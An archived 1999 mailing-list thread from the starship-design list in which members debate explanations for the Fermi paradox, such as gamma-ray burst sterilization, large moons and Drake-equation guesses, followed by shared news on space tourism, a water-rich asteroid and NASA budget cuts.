X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1975"" ""Sunday"" ""25"" ""July"" ""1999"" ""14:11:06"" ""-0400"" ""Curtis L. Manges"" ""clmanges@worldnet.att.net"" nil ""42"" ""Re: starship-design: WHERE ARE THEY?"" ""^From:"" nil nil ""7"" nil ""starship-design: WHERE ARE THEY?"" nil nil nil] nil) Content-Length: 1975 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id LAA01288 for starship-design-outgoing; Sun, 25 Jul 1999 11:12:33 -0700 (PDT) Received: from mtiwmhc02.worldnet.att.net (mtiwmhc02.worldnet.att.net [204.127.131.37]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id LAA01275 for ; Sun, 25 Jul 1999 11:12:31 -0700 (PDT) Received: from worldnet.att.net ([12.76.97.44]) by mtiwmhc02.worldnet.att.net (InterMail v03.02.07.07 118-134) with ESMTP id <19990725181200.ZVDT8676@worldnet.att.net> for ; Sun, 25 Jul 1999 18:12:00 +0000 Message-ID: <379B533A.82FCCCD7@worldnet.att.net> X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 References: <000101bed6b7$92ea7230$0401a8c0@broadsword> <14235.17410.540170.425118@localhost.efn.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Curtis L. Manges"" From: ""Curtis L. Manges"" Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" Subject: Re: starship-design: WHERE ARE THEY? Date: Sun, 25 Jul 1999 14:11:06 -0400 Hello all, For another possible explanation for GRB's, click this link: www.rideau.net/~gaasbeek/index.html#contents . This puts you on the index page, in case you'd like to check out the other papers. From there, scroll down to the table of contents and click on paper number 4, ""Frames of Reference: Part Two"". Look for the discussion on observation of superluminal stars, and you'll find what I'm talking about. This guy seems to make sense, and I think his work deserves a serious look, especially since he's good enough about it to include his equations. I'd just be curious to hear some of your reactions to it. Keep looking up, Curtis Steve VanDevender wrote: > There is some recent theoretical work suggesting that gamma-ray > bursts are non-isotropic, meaning that they do not radiate > equally in all directions. These models claim that gamma-ray > bursts happen when a massive star in a particular mass range > undergoes a core collapse; a black home forms in the core, an > accretion disk forms around the black hole from matter that has > not yet fallen into the core, and the accretion disk creates two > extremely energetic relativistic particle beams perpendicular to > the disk. These blast through the outer layers of the star and > create the gamma-ray burst when they impact the interstellar > medium. So from two directions you can see a gamma-ray burst, > but from other directions the star looks mostly like a normal > supernova. > > If this is true then gamma-ray burst events are even more common, > but we can see only those whose beams point at us. However, it > is then unlikely that gamma-ray bursts can sterilize galaxies. > > I have heard other claims that our large moon influenced the > development of life on this planet, but your summary of Guillermo > Gonzalez's claim that intelligent life is somehow connected to > the presense of solar eclipses doesn't even attempt to speculate > why these necessarily have to be connected. >From VM Mon Jul 26 09:43:13 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""7671"" ""Sunday"" ""25"" ""July"" ""1999"" ""15:28:07"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""178"" ""Re: starship-design: WHERE ARE THEY?"" ""^From:"" nil nil ""7"" nil ""starship-design: WHERE ARE THEY?"" nil nil nil] nil) Content-Length: 7671 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id MAA14796 for starship-design-outgoing; Sun, 25 Jul 1999 12:29:52 -0700 (PDT) Received: from imo19.mx.aol.com (imo19.mx.aol.com [198.81.17.9]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id MAA14784 for ; Sun, 25 Jul 1999 12:29:49 -0700 (PDT) Received: from KellySt@aol.com by imo19.mx.aol.com (IMOv20.25) id zMTJa03142 (8014) for ; Sun, 25 Jul 1999 15:28:07 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: WHERE ARE THEY? Date: Sun, 25 Jul 1999 15:28:07 EDT In a message dated 7/25/99 11:07:17 AM, lparker@cacaphony.net writes: >WHERE ARE THEY? I've always been interested in this too. Its been a major question about the nature of life and the universe. >GAMMA RAY BURSTS > > > >The first new theory is from James Annis, an astrophysicist at Fermilab >near > >Chicago. He thinks cataclysmic gamma-ray bursts often sterilize galaxies, > >== > That, says Annis, may be the answer to Fermi's > >question. ""They just haven't had enough time to get here yet,"" he says. >""The > >GRB model essentially resets the available time for the rise of intelligent > >life to zero each time a burst occurs."" > > > >Paul Davies, a visiting physicist at Imperial College, London, says the > >basic idea for resolving the paradox makes sense. ""Any Galaxy-wide > >sterilizing event would do,"" he says. However, he adds that GRBs may be >too > >brief: ""If the drama is all over in seconds, you only zap half a planet. >The > >planet's mass shields the shadowed side."" Annis counters that GRBs are > >likely to have many indirect effects, such as wrecking ozone layers that > >protect planets from deadly levels of ultraviolet radiation. The importance or our ozone layer is grossly over stated now a adays.. If our ozone layer were eliminated, it would be as if we all moved 100 miles closer to the equator. Also radiation forms ozone. On the other hand having half an ecosphere burned off would have to trash the rest of the planet. Certainly enough to crash a civilization for a while, but not enough to kill off intelligent lifeforms. A variation of this is the idea even milder burst could crash an interstellar civilization. Right now cosmic rays are a major limitation on life in space due to the radiation. But since we know about it we can design our ships and platforms to deal with it. But it seems cosmic rays are intermittent. If we ""came out"" during a millennia of low space rad. We might have a major interstellar civilization, and see it all destroyed when a few century cosmic ray storm whipes out space travelers. The result could crash civilization everywhere. Perhaps were just the first ones out who knew what to expect? >Annis also highlights an intriguing implication of the theory: the current >rate of GRBs allows intelligent life to evolve for a few hundred million >years before being zapped, possibly giving it enough time to reach the >space faring stage. ""It may be that intelligent life has recently sprouted up >at many places in the Galaxy and that at least a few groups are busily engaged >in spreading."" Possibly. > > >LARGE MOONS > > > >The second theory deals with a surprising connection between the conditions >required for a total eclipse and for the emergence of intelligent life. >Guillermo Gonzalez of the University of Washington in Seattle points out >that our distance from the Sun is a necessary condition for us to be here. >""If we were a little nearer or farther from the Sun, the Earth would be >too >hot or too cold and so uninhabitable,"" says Gonzalez. At the same time >our >existence depends on an unusually large moon since its pull stops the Earth >wobbling around too much on its axis and causing wild and catastrophic >swings in climate like those on Mars. Our Moon, which is unusually large >compared to those in almost all other planet-moon systems, probably formed >from molten material blasted from the Earth during the impact of a giant >body more than 4 billion years ago. This seems iffy, but the weird nature of our moon could be significant. Thou I find it hard to believe its the only way to evolve a intelligent race? One could just as easily decide one needed to be on a moon of a jovian since close in to most stars the radiation and orbital stability are to bad. >=== > >WHAT IT MEANS > > > >Taken together, these two factors enormously reduce the values of at least >one and probably as many as three variables to practically zero offering >at least one possible answer to Fermi's query, there aren't any... >If you consider all of the factors you can write a simple relation, using >Drake's Equation, for estimating the probability. I use the word ""estimate"" >intentionally because our knowledge of most of the factors is so poor that >we are really only guessing. True, we haven't more then poor clues, and most of them don't add up to the empty skies we see around us. Any of these ideas at most mean their should be fewer folks out their coming here. But we have no sign that anyone EVER came to earth! The statistics of that are low, which is frightening. >Suppose you guessed that stars in our galaxy form at the rate of one per >year (probably not a bad estimate), that 1/5 of the stars have planets >(no one knows), that there are 0.0005859375 planets with stable environments >(length of time between GRBs divided by the age of our solar system times >the fraction of planets with suitable moons in our solar system ), that >life appears on each (fraction = 1), that intelligence emerges on each of these >(fraction= 1), that 1/10 of these develop communication capability and >that these remain in this state for 1000 years. Then, it works out that the >number is 0.01171875. In other words, in one hundred thousand years, only >one intelligent, communicative civilization would appear, far less than >most current speculations. But again the numbers are guesses. You assume few stars grow starsystems, and very few have environments where life can grow. There ae multiple autonomous ecosystems on earth, only ours needs to worry about solar energy or weather. Those based on the volcanic chemistry of deep ocean vents, or deep under ground are now thought to be far larger then our photosynthesis based ecosphere. The deep ocean vent environment is thought to exist on at least one moon in our solar system, and that's out in the jovian belt. This strongly suggests our biases toward the ""life belt"" based on solar heating and photosphere may just be our prejudice. Why assume folks only retain communication abilities for a thousand years. We've retained writing for about 5 times as long. Abilities to build boats and simple buildings and weapons for a couple times that. Given the value of high tech and spaced based industry and resources, I could see this stuff being a high priority for retention. A better question is why would one do SETI communications. If your curious about the stars. Most won't have anyone to answer your call. Sending probes or expeditions could be far more effective, and get info back a lot faster then waiting for someone to answer your call. I'm beginning to think the basic assumption of SETI, that folks would always prefer transmitting and waiting, rather then scouting about and looking for themselves. Give the ridiculous waits necessary to check out any stars, especially if you need to wait for a civilization to evevolve to answer your call. Bottom line, we don't know (even in vague ways) how likly biosphere's, intelligence, muchless technical civilizations are. They could be virtually the norm for any chemically active planet that hangs around a few billion years. One per solar system could be virtually unknown. Or they might almost never happen, and you hardly ever have more then a handful of civilization active in a galaxy at one time. Or perhaps the nanotech/singularity folks are right and past our level of tech things explode dramatically. A couple centuries from now our desendanscould be so advanced they'd be little more interested in contacting us, as we'd have to go visit ants. > > >L. Parker >From VM Mon Jul 26 09:43:13 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""943"" ""Sunday"" ""25"" ""July"" ""1999"" ""15:12:55"" ""-0500"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""19"" ""Re: starship-design: WHERE ARE THEY?"" ""^From:"" nil nil ""7"" nil ""starship-design: WHERE ARE THEY?"" nil nil nil] nil) Content-Length: 943 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id NAA23251 for starship-design-outgoing; Sun, 25 Jul 1999 13:17:31 -0700 (PDT) Received: from fh105.infi.net (fh105.infi.net [209.97.16.35]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id NAA23234 for ; Sun, 25 Jul 1999 13:17:28 -0700 (PDT) Received: from oemcomputer (pm5-43.gpt.infi.net [207.0.195.43]) by fh105.infi.net (8.8.8/8.8.8) with ESMTP id QAA28995 for ; Sun, 25 Jul 1999 16:17:26 -0400 (EDT) Message-Id: <199907252017.QAA28995@fh105.infi.net> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: ""SSD"" Subject: Re: starship-design: WHERE ARE THEY? Date: Sun, 25 Jul 1999 15:12:55 -0500 > Or perhaps the nanotech/singularity folks are right and past our level of > tech things explode dramatically. A couple centuries from now our > desendanscould be so advanced they'd be little more interested in contacting > us, as we'd have to go visit ants. But you're forgetting...we DO visit ants...at least the myrmecologists do. But they don't talk to them...they just study them. Perhaps that is the explanation (as I have said before) for why no one is here. They wouldn't come for technology, or anything like that. The only thing they could conceivably be interested in with us would be how we behave, and how we are put together. To study that, you need not make contact. Plus, it makes psychological studies much easier. If you want to know how people are put together, you send down microscopic probes to investigate. Granted, this might not be the goal of every civilization, but it could explain many. Kyle R. Mcallister >From VM Mon Jul 26 09:43:13 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2407"" ""Sunday"" ""25"" ""July"" ""1999"" ""15:25:19"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""47"" ""RE: starship-design: WHERE ARE THEY?"" ""^From:"" nil nil ""7"" nil ""starship-design: WHERE ARE THEY?"" nil nil nil] nil) Content-Length: 2407 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id NAA24793 for starship-design-outgoing; Sun, 25 Jul 1999 13:26:23 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id NAA24786 for ; Sun, 25 Jul 1999 13:26:20 -0700 (PDT) Received: from broadsword (p374.gnt.com [204.49.91.182]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id PAA05822 for ; Sun, 25 Jul 1999 15:26:18 -0500 Message-ID: <000501bed6db$df514620$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <14235.17410.540170.425118@localhost.efn.org> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'Starship-Design (E-mail)'"" Subject: RE: starship-design: WHERE ARE THEY? Date: Sun, 25 Jul 1999 15:25:19 -0500 > There is some recent theoretical work suggesting that gamma-ray > bursts are non-isotropic, meaning that they do not radiate > equally in all directions. These models claim that gamma-ray > bursts happen when a massive star in a particular mass range > undergoes a core collapse; a black home forms in the core, an > accretion disk forms around the black hole from matter that has > not yet fallen into the core, and the accretion disk creates two > extremely energetic relativistic particle beams perpendicular to > the disk. These blast through the outer layers of the star and > create the gamma-ray burst when they impact the interstellar > medium. So from two directions you can see a gamma-ray burst, > but from other directions the star looks mostly like a normal > supernova. > > If this is true then gamma-ray burst events are even more common, > but we can see only those whose beams point at us. However, it > is then unlikely that gamma-ray bursts can sterilize galaxies. No, it doesn't change the end result at all as far as the equation is concerned. It just means that there are more of them to make up the difference. Statistically, the end result is the same. We seem to have just been extremely lucky in that none have been pointed our way in somewhat more than the allotted amount of time. > > I have heard other claims that our large moon influenced the > development of life on this planet, but your summary of Guillermo > Gonzalez's claim that intelligent life is somehow connected to > the presense of solar eclipses doesn't even attempt to speculate > why these necessarily have to be connected. > True, it wasn't germane to my point. Actually Gonzalez doesn't really say that there is a casual connection. Only that a large moon is required to stabilize a planet's normally erratic orbital tendencies and that left unstabilized, wild rotational shifts would cause sufficient climatic instability to discourage the rise of complex life forms. An examination of our own climatic past lends credence to this theory. The relatively few problems the Earth has undergone have resulted in wholesale extinctions - particularly among higher life forms. I would think that the odds might actually be somewhat better. The theory does not allow for twin planets rotating around a common center. I am not certain that this arrangement would not be tidally locked however. Lee Parker >From VM Mon Jul 26 09:43:13 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1119"" ""Sunday"" ""25"" ""July"" ""1999"" ""14:45:00"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""22"" ""RE: starship-design: WHERE ARE THEY?"" ""^From:"" nil nil ""7"" nil ""starship-design: WHERE ARE THEY?"" nil nil nil] nil) Content-Length: 1119 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id OAA08912 for starship-design-outgoing; Sun, 25 Jul 1999 14:45:04 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA08893 for ; Sun, 25 Jul 1999 14:44:57 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by clavin.efn.org (8.9.3/8.9.3) with ESMTP id OAA13664; Sun, 25 Jul 1999 14:44:52 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.9.3/8.9.3) id OAA09197; Sun, 25 Jul 1999 14:45:04 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14235.34140.357344.727563@localhost.efn.org> In-Reply-To: <000501bed6db$df514620$0401a8c0@broadsword> References: <14235.17410.540170.425118@localhost.efn.org> <000501bed6db$df514620$0401a8c0@broadsword> X-Mailer: VM 6.72 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: ""L. Parker"" Cc: ""'Starship-Design (E-mail)'"" Subject: RE: starship-design: WHERE ARE THEY? Date: Sun, 25 Jul 1999 14:45:00 -0700 (PDT) L. Parker writes: > > If this is true then gamma-ray burst events are even more common, > > but we can see only those whose beams point at us. However, it > > is then unlikely that gamma-ray bursts can sterilize galaxies. > > No, it doesn't change the end result at all as far as the equation is > concerned. It just means that there are more of them to make up the > difference. Statistically, the end result is the same. We seem to have just > been extremely lucky in that none have been pointed our way in somewhat more > than the allotted amount of time. Actually, plenty are pointed our way -- otherwise we wouldn't keep detecting them so frequently. Statistically, though, the result is not the same. On a universe-wide scale, there are plenty of gamma-ray bursts for everyone to see. If GRBs are isotropic, then, yes, potentially each burst we see has sterilized a large portion of its host galaxy. But if GRBs aren't isotropic, then individual GRBs aren't sterilizing huge parts of the galaxies they occur in, and at a galaxy-wide scale there aren't enough close GRBs to clear galaxies of life. >From VM Mon Jul 26 09:43:13 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1665"" ""Sunday"" ""25"" ""July"" ""1999"" ""19:03:21"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""34"" ""RE: starship-design: WHERE ARE THEY?"" ""^From:"" nil nil ""7"" nil ""starship-design: WHERE ARE THEY?"" nil nil nil] nil) Content-Length: 1665 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id VAA18185 for starship-design-outgoing; Sun, 25 Jul 1999 21:46:40 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id VAA18176 for ; Sun, 25 Jul 1999 21:46:37 -0700 (PDT) Received: from broadsword (p294.gnt.com [204.49.91.102]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id XAA20299; Sun, 25 Jul 1999 23:46:27 -0500 Message-ID: <000601bed721$c16b2630$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <14235.34140.357344.727563@localhost.efn.org> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'Steve VanDevender'"" Cc: ""'Starship-Design (E-mail)'"" Subject: RE: starship-design: WHERE ARE THEY? Date: Sun, 25 Jul 1999 19:03:21 -0500 > > No, it doesn't change the end result at all as far as the > equation is > > concerned. It just means that there are more of them to make up the > > difference. Statistically, the end result is the same. We > seem to have just > > been extremely lucky in that none have been pointed our > way in somewhat more > > than the allotted amount of time. > > Actually, plenty are pointed our way -- otherwise we wouldn't > keep detecting them so frequently. > > Statistically, though, the result is not the same. On a > universe-wide scale, there are plenty of gamma-ray bursts for > everyone to see. If GRBs are isotropic, then, yes, potentially > each burst we see has sterilized a large portion of its host > galaxy. But if GRBs aren't isotropic, then individual GRBs > aren't sterilizing huge parts of the galaxies they occur in, and > at a galaxy-wide scale there aren't enough close GRBs to clear > galaxies of life. As I understood your original response, you were saying that GRBs might be anisotropic - which means to me we only see GRBs aimed directly at us. The sterilization theory was based upon the OBSERVED incidence of GRBs and is not materially affected by this change. Regardless of whether a particular GRB is aimed at us or away from us (anisotropic) the summation of all GRBs must be isotropic. Which means there are a great many GRBs that we never see, in fact the majority of them are never seen. Either way, the statistics are the same and the conclusion reached is the same. The only thing that has changed is the number of GRBs that occur in order to perform the same act - sterilization of large segments of the galaxy. Lee Parker >From VM Mon Jul 26 09:43:13 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1767"" ""Sunday"" ""25"" ""July"" ""1999"" ""22:32:56"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""30"" ""RE: starship-design: WHERE ARE THEY?"" ""^From:"" nil nil ""7"" nil ""starship-design: WHERE ARE THEY?"" nil nil nil] nil) Content-Length: 1767 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id WAA25340 for starship-design-outgoing; Sun, 25 Jul 1999 22:32:51 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id WAA25326 for ; Sun, 25 Jul 1999 22:32:47 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by clavin.efn.org (8.9.3/8.9.3) with ESMTP id WAA28682 for ; Sun, 25 Jul 1999 22:32:45 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.9.3/8.9.3) id WAA10645; Sun, 25 Jul 1999 22:32:57 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14235.62216.555748.426572@localhost.efn.org> In-Reply-To: <000601bed721$c16b2630$0401a8c0@broadsword> References: <14235.34140.357344.727563@localhost.efn.org> <000601bed721$c16b2630$0401a8c0@broadsword> X-Mailer: VM 6.72 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: ""'Starship-Design (E-mail)'"" Subject: RE: starship-design: WHERE ARE THEY? Date: Sun, 25 Jul 1999 22:32:56 -0700 (PDT) L. Parker writes: > As I understood your original response, you were saying that GRBs might be > anisotropic - which means to me we only see GRBs aimed directly at us. The > sterilization theory was based upon the OBSERVED incidence of GRBs and is > not materially affected by this change. Regardless of whether a particular > GRB is aimed at us or away from us (anisotropic) the summation of all GRBs > must be isotropic. Which means there are a great many GRBs that we never > see, in fact the majority of them are never seen. Either way, the statistics > are the same and the conclusion reached is the same. The only thing that has > changed is the number of GRBs that occur in order to perform the same act - > sterilization of large segments of the galaxy. The statistics aren't necessarily the same, Lee. Note that for as many GRBs as are visible us, our planet isn't sterilized yet; that's because none of them are occurring within our galactic neighborhood. If GRBs are anisotropic then relatively few star systems will be in the path of the GRB beams and close enough to be affected; other nearby star systems will see the supernova but not be inundated with gamma radiation. A lot more star systems will be far enough away to be in line with the beams and see them without being sterilized by the radiation. Unfortunately I don't know the exact ""beam spread"" predicted in the theoretical models such that it would be possible to estimate the number of GRBs that are occurring that we can't see directly (although many supernovae we see may be producing them) or the likelihood of being zapped by a GRB. I'm quite sure, however, than in the anisotropic case the probability of being zapped by a GRB is much lower than in the isotropic case. >From VM Tue Jul 27 09:50:09 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""664"" ""Monday"" ""26"" ""July"" ""1999"" ""23:41:28"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""19"" ""starship-design: Another billionair looking to invest in space tourism"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 664 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id UAA24584 for starship-design-outgoing; Mon, 26 Jul 1999 20:44:11 -0700 (PDT) Received: from imo19.mx.aol.com (imo19.mx.aol.com [198.81.17.9]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id UAA24572 for ; Mon, 26 Jul 1999 20:44:08 -0700 (PDT) Received: from KellySt@aol.com by imo19.mx.aol.com (IMOv20.25) id nQYCa03142 (3703); Mon, 26 Jul 1999 23:41:33 -0400 (EDT) Message-ID: <807bd55d.24ce8468@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: moschleg@erols.com, Sdudley6@aol.com, MARK.A.JENSEN@cpmx.saic.com, DTaylor648@aol.com, JohnFrance@aol.com, starship-design@lists.uoregon.edu, bbbark@surfree.com, RICKJ@btio.com, starchld@io.com Subject: starship-design: Another billionair looking to invest in space tourism Date: Mon, 26 Jul 1999 23:41:28 EDT http://search.washingtonpost.com/wp-srv/WPlate/1999-07/25/111l-072599-id x.HTML Washington post ran an article on A real-estate and hotel guy offering to put up half a billion for him lunar orbiting hotel concept. ""It's up to private enterprise to get the general public into space in our lifetimes,"" [Robert] Bigelow said in a weighty tone, as though he alone were carrying this burden. ""It is imperative that we create user-friendly, market-driven projects like this one or it will never happen."" Of course he hired Greg Bennett (ex NASA flight planer, current 'Artemis group' founder) to head his aerospace R&D group, so he might not be too bright. Kelly >From VM Tue Jul 27 09:50:09 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1441"" ""Tuesday"" ""27"" ""July"" ""1999"" ""00:45:36"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""38"" ""starship-design: Proposed maned missin to asteriod?"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 1441 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id VAA06394 for starship-design-outgoing; Mon, 26 Jul 1999 21:46:17 -0700 (PDT) Received: from imo26.mx.aol.com (imo26.mx.aol.com [198.81.17.70]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id VAA06388 for ; Mon, 26 Jul 1999 21:46:15 -0700 (PDT) Received: from KellySt@aol.com by imo26.mx.aol.com (IMOv20.25) id nFORa26905 (4398); Tue, 27 Jul 1999 00:45:37 -0400 (EDT) Message-ID: <784d8030.24ce9370@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: moschleg@erols.com, Sdudley6@aol.com, MARK.A.JENSEN@cpmx.saic.com, DTaylor648@aol.com, JohnFrance@aol.com, starship-design@lists.uoregon.edu, jcavelos@empire.net, DotarSojat@aol.com, starchld@io.com, RICKJ@btio.com, Shealiak@XS4ALL.nl Subject: starship-design: Proposed maned missin to asteriod? Date: Tue, 27 Jul 1999 00:45:36 EDT http://dailynews.yahoo.com/headlines/sc/story.html?s=v/nm/19990726/sc/sp ace_asteroid_5.html Monday July 26 2:34 PM ET Human Trip To Water-Rich Asteroid Possible By 2015 ITHACA, N.Y. (Reuters) - Human beings could go prospecting on a tiny, water-rich asteroid and return samples to Earth by 2015, much sooner than any possible human mission to Mars, astronomers said Monday. The water-rich asteroid -- a lumpy ball about 100 feet in diameter called 1998 KY26 -- could serve as a sort of cosmic filling station for space travelers, ``a space station waiting for occupants,'' according to Steven Ostro of NASA's Jet Propulsion Laboratory. http://dailynews.yahoo.com/headlines/sc/story.html?s=v/nm/19990726/sc/sp ace_asteroid_4.html Monday July 26 12:25 AM ET Asteroid Offers Oasis For Space Explorers- Report WASHINGTON (Reuters) - A rapidly spinning asteroid that passed close to Earth last year offers an ``oasis for future space explorers'' because it is loaded with water, astronomers said Friday. An international team of astronomers in the Czech Republic, Hawaii, Arizona and California pointed radar and optical telescopes at Asteroid 1998 KY26 when it passed about 500,000 miles (800,000 km) from the Earth in June 1998. Reporting in the journal Science, they said they found that the 100-foot (30-meter) object spins -- rotating every 11 minutes -- but more importantly, they found it is loaded with ice. >From VM Thu Jul 29 15:17:12 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""9353"" ""Thursday"" ""29"" ""July"" ""1999"" ""17:05:48"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""206"" ""starship-design: FW: SSRT: Space Access Update no. 88 (fwd)"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 9353 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA28864 for starship-design-outgoing; Thu, 29 Jul 1999 15:10:08 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA28852 for ; Thu, 29 Jul 1999 15:10:04 -0700 (PDT) Received: from broadsword (p236.gnt.com [204.49.89.236]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id RAA13025 for ; Thu, 29 Jul 1999 17:09:58 -0500 Message-ID: <001801beda0f$08778dd0$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: FW: SSRT: Space Access Update no. 88 (fwd) Date: Thu, 29 Jul 1999 17:05:48 -0500 -----Original Message----- From: listserv@ds.cc.utexas.edu [mailto:listserv@ds.cc.utexas.edu]On Behalf Of Chris W. Johnson Sent: Wednesday, July 28, 1999 8:59 PM To: Single Stage Rocket Technology News Subject: SSRT: Space Access Update no. 88 (fwd) Date: Wed, 28 Jul 1999 01:18:22 -0400 (EDT) From: Donald L Doughty To: DC-X Subject: Space Access Update #88 7/24/99 (fwd) Reply-To: delta-clipper@world.std.com The House NASA appropriators (the HUD, VA, and Independent Agencies subcommittee, ""mark up"" their NASA funding bill Monday. NASA Space funding was cut ~ 1.4B$ (10%), ""essentially gutting NASA's space science programs."" See these web sites for details: http://www.spaceviews.com/1999/07/27a.html 